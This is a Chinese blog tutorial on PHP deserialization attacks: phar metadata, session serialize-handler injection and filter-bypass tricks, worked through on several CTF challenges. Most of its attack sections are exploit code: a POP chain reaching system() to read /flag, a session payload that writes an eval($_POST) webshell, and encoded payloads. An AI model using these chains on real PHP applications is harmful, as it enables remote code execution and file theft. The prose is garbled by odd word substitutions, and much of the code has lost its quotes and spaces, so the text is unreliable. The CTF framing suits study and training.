PHP反序列化新手入门学习总结(下)

2023-01-28 0 1,090

PHP反序列化新手入门学习总结(下)

phar反格式化

单的认知phar反格式化

phar是甚么?

phar是php提供更多的两类文档的前缀中文名称,也是php伪协定的一类。

phar能干嘛?

将数个php文档分拆成两个分立的LiveCD,相较分立

不必Cogl到硬碟就能运转phpJAVA

全力支持web伺服器和配置文件运转

特别注意要将php.ini中的phar.readonly快捷键增设为Off,不然难以聚合phar文档

phar文档的的内部结构

两个phar文档一般来说由四部份共同组成,

1. a stub:能认知为两个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,不然phar扩展将难以识别这个文档为phar文档。

2. a manifest describing the contents:phar文档本质上是一类压缩文档,其中每个被压缩文档的权限、属性等信息都放在这部份。这部分还会以格式化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

3. the file contents:被压缩文档的内容。这里不是重点,内容不影响。

4. [optional] a signature for verifying Phar integrity (phar file format only):签名,放在文档末尾。

<?php class Test {//自定义 } @unlink(“phar.phar”); $phar = new Phar(“phar.phar”); //前缀名必须为phar $phar->startBuffering(); $phar->setStub(“<?php __HALT_COMPILER(); ?>”); //增设stub $o = new Test(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString(“test.txt”, “test”); //添加要压缩的文档 //签名自动计算 $phar->stopBuffering(); ?>

聚合两个phar.phar文档

拉进010分析

PHP反序列化新手入门学习总结(下)

能清楚看到两个标识符,两个格式化,两个文档名

有格式化数据必然会有反格式化操作 ,php一大部份的文档系统函数 通过phar://伪协定解析phar文档时,都会将meta-data进行反格式化 ,受影响的函数如下

is_dir(),is_file(),is_link(),copy(),file(),stat(),readfile(),unlink(),filegroup(),fileinode(),fileatime(),filectime(),fopen(),filemtime(),fileowner(),fileperms(),file_exits(),file_get_contents(),file_put_contents(),is_executable(),is_readable(),is_writable(),parse_ini_file<?phphighlight_file(__FILE__); classTest {//自定义 public$name=phpinfo();; } $phar=newphar(rce.phar); $phar->startBuffering(); $phar->setStub(“<?php __HALT_COMPILER(); ?>”); $o=newTest(); $phar->setMetadata($o); $phar->addFromString(“flag.txt”,“flag”);//添加要压缩的文档 //签名自动计算 $phar->stopBuffering(); ?>

这里用file_get_contents测试下

<?php class test{ public $name=; public function __destruct() { eval($this->name); } } echo file_get_contents(phar://rce.phar/flag.txt); ?>
PHP反序列化新手入门学习总结(下)

漏洞利用条件

phar文档要能够上传到伺服器端。

要有可用的魔术方法作为“跳板”。

文档操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

姿势

① 网安自学成长路径思维导图② 60+网安经典常用工具包③ 100+SRC漏洞分析报告④ 150+网安攻防实战技术电子书⑤ 最权威CISSP 认证考试指南+题库⑥ 超1800页CTF实战技巧手册⑦ 最新网安大厂面试题合集(含答案)⑧ APP客户端安全检测指南(安卓+IOS)

compress.bzip://phar:///test.phar/test.txt compress.bzip2://phar:///test.phar/test.txt compress.zlib://phar:///home/sx/test.phar/test.txt php://filter/resource=phar:///test.phar/test.txtphp://filter/read=convert.base64-encode/resource=phar://phar.phar

能用于文档上传,有文档上传头限制,还能这样,例如GIF

$phar->setStub(“GIF89a”.”<?php __HALT_COMPILER(); ?>“); //增设stub 这样能聚合两个phar.phar,修改前缀名为phar.gif

[SWPUCTF 2021 新生赛]babyunser phar反格式化

<?phpclassaa{ public$name; publicfunction__construct(){ $this->name=aa; } publicfunction__destruct(){ $this->name=strtolower($this->name); } } classff{ private$content; public$func; publicfunction__construct(){ $this->content=“<?php @eval($_POST[1]);?>”; } publicfunction__get($key){ $this->$key->{$this->func}($_POST[cmd]); } } classzz{ public$filename; public$content=surprise; publicfunction__construct($filename){ $this->filename=$filename; } publicfunctionfilter(){ if(preg_match(/^/|php:|data|zip|..//i,$this->filename)){ die(这不合理); } } publicfunctionwrite($var){ $filename=$this->filename; $lt=$this->filename->$var; //此功能废弃,不想写了 } publicfunctiongetFile(){ $this->filter(); $contents=file_get_contents($this->filename); if(!empty($contents)){ return$contents; }else{ die(“404 not found”); } } publicfunction__toString(){ $this->{$_POST[method]}($_POST[var]); return$this->content; } } classxx{ public$name; public$arg; publicfunction__construct(){ $this->name=eval; $this->arg=phpinfo();; } publicfunction__call($name,$arg){ $name($arg[0]); } }<?phperror_reporting(0); $filename=$_POST[file]; if(!isset($filename)){ die(); } $file=newzz($filename); $contents=$file->getFile(); ?><br><textareaclass=“file_content”type=“text”value=<?phpecho“<br>”.$contents;?>

构造链子

先找到关键的代码$this->$key->{$this->func}($_POST[cmd]);,通过这个能构造命令执行,所以要想办法触发__get($key),

__get() 用于从不可访问的属性读取数据,ff类的 private $content;是不可访问的属性

访问content能触发get() ,而aa::destruct方法里面有$this->name=strtolower($this->name),strtolower这个函数之前提到,能触发tostring,利用它去触发zz::_tostring方法,利用方法里的$this->{$POST[method]}($_POST[var]);去构造method=write&var=content,

aa::destruct()->zz::toString()->zz::write->xx->ff::__get()

看着好奇怪,为甚么要用write去这样钩爪,因为__get()触发需要,构造write函数进行访问content成员,不仅要用这个属性去new两个对象,还要对它进行访问

如下代码进行测试

<?phpclasstest{ private$a; public$b; publicfunction__construct($a,$b) { $this->a=“aaa”; $this->b=“bbb”; } publicfunction__get($name) { // TODO: Implement __get() method. $this->a=“__get”; $this->b=“111”; } publicfunction__destruct() { echo$this->a; echo$this->b; } } $a=newtest(“s”,“s”); //echo $a->a; $b=serialize($a); unserialize($b);

注释掉echo 输出是aaabbbaaabbb

去掉注释输出是get111get111

如此那么构造POP链子

<?phpclassaa{ public$name; } classff{ private$content; public$func; publicfunction__construct(){ $this->content=newxx();//这里New xx } } classzz{ public$filename; public$content; } classxx{ public$name; public$arg; } $a=newaa(); $c=newff(); $a->name=newzz(); $c->func=“system”; $a->name->filename=$c; $phar=newPhar(“flag.phar”); //前缀名必须为phar $phar->startBuffering(); $phar->setStub(“<?php __HALT_COMPILER(); ?>”); //增设stub //$o = new Test(); $phar->setMetadata($a); //将自定义的meta-data存入manifest $phar->addFromString(“test.txt”, “test”); //添加要压缩的文档 //签名自动计算 $phar->stopBuffering();

上传之后使用phar协定读取

file=phar://upload%2Fab83ba92f17bf9599f4bfc31f92811f2.txt&method=write&var=content&cmd=cat /flag

session反格式化

session与cookie很像,都是客户端与服务端会话时,用户的标识, PHP session 解决了这个问题,它通过在伺服器上存储用户信息以便随后使用(比如用户中文名称、购买商品等)。然而,会话信息是临时的,在用户离开网站后将被删除。如果您需要永久存储信息,能把数据存储在数据库中。

而session是以文档方式存储的

直接找一道题做做

题目来自ctfshowWEB263

打开是两个登录页面,用目录扫描扫一下,这里我用的是dirsearch

dirsearch -u “http://4b00e046-35c4-458d-93e7-e3ff83049288.challenge.ctf.show/” -e*

存在源码泄露,访问www.zip

index.php源码

*/error_reporting(0);session_start(); //超过5次禁止登陆 if(isset($_SESSION[limit])){ $_SESSION[limti]>5?die(“登陆失败次数超过限制”):$_SESSION[limit]=base64_decode($_COOKIE[limit]); $_COOKIE[limit] =base64_encode(base64_decode($_COOKIE[limit]) +1); }else{ setcookie(“limit”,base64_encode(1)); $_SESSION[limit]=1; } ?>

check.php源码

<?php/* # -*- coding: utf-8 -*-# @Author: h1xa # @Date: 2020-09-03 16:59:10 # @Last Modified by: h1xa # @Last Modified time: 2020-09-06 19:15:38# @email: [email protected] # @link: https://ctfer.com */error_reporting(0); require_onceinc/inc.php; $GET=array(“u”=>$_GET[u],“pass”=>$_GET[pass]); if($GET){ $data=$db->get(admin, [ id, UserName0 ],[ “AND”=>[ “UserName0[=]”=>$GET[u], “PassWord1[=]”=>$GET[pass] //密码必须为128位大小写字母+数字+特殊符号,防止爆破 ] ]); if($data[id]){ //登陆成功取消次数累计 $_SESSION[limit]=0; echojson_encode(array(“success”,“msg”=>“欢迎您”.$data[UserName0])); }else{ //登陆失败累计次数加1 $_COOKIE[limit] =base64_encode(base64_decode($_COOKIE[limit])+1); echojson_encode(array(“error”,“msg”=>“登陆失败”)); } }inc.php中有两个这个ini_set(session.serialize_handler, php);而session存储格式(格式化)其中有这两种ini_set(session.serialize_handler, php);ini_set(session.serialize_handler, php_serialize );

测试一下看这两个甚么区别

<?php ini_set(session.serialize_handler,php); session_start(); class test1{ public $a=”test”; } $a=new test1(); $_SESSION[user]=$a;

在tmp下找到这个文档打开看

user|O:5:”test1″:1:{s:1:”a”;s:4:”test”;}<?php ini_set(session.serialize_handler,php_serialize); session_start(); class test1{ public $a=”test”; } $a=new test1(); $_SESSION[user]=$a;a:1:{s:4:”user”;O:5:”test1″:1:{s:1:”a”;s:4:”test”;}}

两种方式的区别主要是“|”符号,在php机制中,只会格式化“|”符号后面的内容

inc.php中关键代码

class User{ public $username; public $password; public $status; function __construct($username,$password){ $this->username = $username; $this->password = $password; } function setStatus($s){ $this->status=$s; } function __destruct(){ file_put_contents(“log-“.$this->username, “使用”.$this->password.”登陆”.($this->status?”成功”:”失败”).”—-“.date_create()->format(Y-m-d H:i:s)); } }function __destruct(){file_put_contents(“log-“.$this->username, “使用”.$this->password.”登陆”.($this->status?”成功”:”失败”).”—-“.date_create()->format(Y-m-d H:i:s));}

能利用这个函数写一句话木马

而session_start() 函数会解析 session 文档,就相当于进行了反格式化,session值我们是可控的,这样的话反格式化有了,只要构造出格式化字符串触发 User类 的 __destruct方法就能了

<?phpclassUser{ public$username; public$password; function__construct($username, $password) { $this->username=$username; $this->password=$password; } } $a=newUser(1.php,<?php eval($_POST[“1”]);?>); echobase64_encode(“|”.serialize($a));

访问的时候文档名是log-拼接,所以是log-1.php,index.php里面三元条件运算符: $SESSION[limti]>5?die(“登陆失败次数超过限制”):$SESSION[limit]=base64_decode($_COOKIE[limit)

第两个式子不成立,则执行$SESSION[limit]=base64_decode($COOKIE[limit)

,因为有base64_decode,所以这里我们还有base64_encode一下

抓包改limit值

PHP反序列化新手入门学习总结(下)

然后发包,接着访问check.php 实现反格式化shell的写入

PHP反序列化新手入门学习总结(下)

然后变更请求方法,特别注意直接右键选择变更POST请求

PHP反序列化新手入门学习总结(下)

tricks归纳

16进制绕过字符过滤

//O:1:”A”:1:{s:2:”ab”;s:4:”test”;} //O:1:”A”:1:{S:2:”61b”;s:4:”test”;}//s改为大写S会被当成16进制解析 //61是a的16进制

php类名对大小写不敏感

ctfshowWEB266

<?php highlight_file(__FILE__); include(flag.php); $cs = file_get_contents(php://input); class ctfshow{ public $username=xxxxxx; public $password=xxxxxx; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function login(){ return $this->username===$this->password; } public function __toString(){ return $this->username; } public function __destruct(){ global $flag; echo $flag; } } $ctfshowo=@unserialize($cs); if(preg_match(/ctfshow/, $cs)){ throw new Exception(“Error $ctfshowo”,1); }

很明显是触发析构函数就得到了flag,但是有过滤,如果匹配到了ctfshow就抛异常,

这题用到的知识点是PHP类名对大小写不敏感,能清楚看到过滤并没有过滤大小写

直接这样

$cs = file_get_contents(php://input);采用php伪协定传参

直接提交POST数据就行

<?phpclasscTfshow{ } $a=newcTfshow(); echo (serialize($a));
PHP反序列化新手入门学习总结(下)

+号绕过

ctfshowWEB258

<?phperror_reporting(0); highlight_file(__FILE__); classctfShowUser{ public$username=xxxxxx; public$password=xxxxxx; public$isVip=false; public$class=info; publicfunction__construct(){ $this->class=newinfo(); } publicfunctionlogin($u,$p){ return$this->username===$u&&$this->password===$p; } publicfunction__destruct(){$this->class->getInfo(); } } classinfo{ public$user=xxxxxx; publicfunctiongetInfo(){ return$this->user; }} classbackDoor{ public$code; publicfunctiongetInfo(){ eval($this->code); } } $username=$_GET[username]; $password=$_GET[password]; if(isset($username) &&isset($password)){ if(!preg_match(/[oc]:d+:/i, $_COOKIE[user])){ $user=unserialize($_COOKIE[user]); } $user->login($username,$password); } 可见增加了过滤,过滤例如如下o:123:、c:456:s:8:“username”;s:6:“xxxxxx”;s:8:“password”;s:6:“xxxxxx”;s:5:“isVip”;b:0;s:5:“class”;O:8:“backDoor”:1:{s:4:“code”;s:10:“phpinfo();”;}}phpinfo()

正常反格式化肯定会有o和c这种

如果O:后面不跟数字的话就能把这个绕过去了

这里能用+号,具体原因是跟PHP底层代码有关,+号判断也是能正常的反格式化的

这里把O:后面加上两个加号

<?phperror_reporting(0); highlight_file(__FILE__); classctfShowUser{ public$username=xxxxxx; public$password=xxxxxx; public$isVip=false; public$class=info; publicfunction__construct(){ $this->class=newbackDoor(); } publicfunction__destruct(){ $this->class->getInfo(); } } classbackDoor{ public$code=“phpinfo();”; publicfunctiongetInfo(){ eval($this->code); } } $a=newctfShowUser(); //echo urlencode(serialize($a));$a=serialize($a); $a=preg_replace(/[oc]+:/i,O:+,$a); echourlencode($a);
PHP反序列化新手入门学习总结(下)

利用&使两值恒等

题目ctfshow web265

<?phperror_reporting(0); include(flag.php); highlight_file(__FILE__); classctfshowAdmin{ public$token; public$password; publicfunction__construct($t,$p){ $this->token=$t; $this->password=$p; } publicfunctionlogin(){ return$this->token===$this->password; } } $ctfshow=unserialize($_GET[ctfshow]);$ctfshow->token=md5(mt_rand()); if($ctfshow->login()){ echo$flag; }$ctfshow->login()这个成立才给flag$ctfshow->token=md5(mt_rand());但是这个是随机的

这个题考察php按地址传参

<?php$a=11; $b=&$a; $b=1; echo$a;//$b被赋值的是变量a的地址,php是按地址传参,a的值会随b值变化//1

所以我们能直接这样

<?phpclassctfshowAdmin{ public$token; public$password; publicfunction__construct(){ $this->password=&$this->token; } } $a=newctfshowAdmin(); echo ( urlencode(serialize($a)));

php7.1+反格式化对类属性不敏感

题目来自[网鼎杯 2020 青龙组]AreUSerialz

<?phpinclude(“flag.php”); highlight_file(__FILE__); classFileHandler { protected$op; protected$filename; protected$content; function__construct() { $op=“1”; $filename=“/tmp/tmpfile”; $content=“Hello World!”; $this->process(); } publicfunctionprocess() { if($this->op==“1”) { $this->write(); } elseif($this->op==“2”) { $res=$this->read(); $this->output($res); } else { $this->output(“Bad Hacker!”); } } privatefunctionwrite() { if(isset($this->filename) &&isset($this->content)) { if(strlen((string)$this->content) >100) { $this->output(“Too long!”); die(); } $res=file_put_contents($this->filename, $this->content); if($res) $this->output(“Successful!”); else$this->output(“Failed!”); } else { $this->output(“Failed!”); } } privatefunctionread() { $res=“”; if(isset($this->filename)) { $res=file_get_contents($this->filename); } return$res; } privatefunctionoutput($s) { echo“[Result]: <br>”; echo$s; } function__destruct() {if($this->op===“2”) $this->op=“1”; $this->content=“”; $this->process(); } } functionis_valid($s) { for($i=0; $i<strlen($s); $i++) if(!(ord($s[$i]) >=32&&ord($s[$i]) <=125)) returnfalse; returntrue; } if(isset($_GET{str})) { $str= (string)$_GET[str]; if(is_valid($str)) { $obj=unserialize($str); } }

看着很多,其实没甚么东西,

关键要利用到这里

大致看了write函数或者read函数,都能尝试利用得到flag

但是__destruct()方法 $this->content = “”;会把content值为空,我们没有办法去利用这个write函数,所以看看read函数

__destruct()方法里有两个强类型比较,$this->op === “2”,如果我们把op=2;不加引号,那么为int类型,则$this->op === “2”为false,这样在process()方法里,就会调用read方法

接着就是绕过 is_valid函数 ,由于有protected属性,会有不可打印字符,而不可打印字符被

is_valid函数限制住了,所以需要绕过,那么在php7.1版本以上能直接修改属性

因为php7.1以上的版本对属性类型不敏感,所以能将属性改为public,public属性格式化不会出现不可见字符

POC如下

<?phpclassFileHandler { public$op=2; public$filename=“flag.php”; public$content=“111”; pr} $a=newFileHandler(); echourlencode(serialize($a)); ?>payload?str=O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A3%3A%22111%22%3B%7D
举报/反馈

相关文章

发表评论
暂无评论
官方客服团队

为您解决烦忧 - 24小时在线 专业服务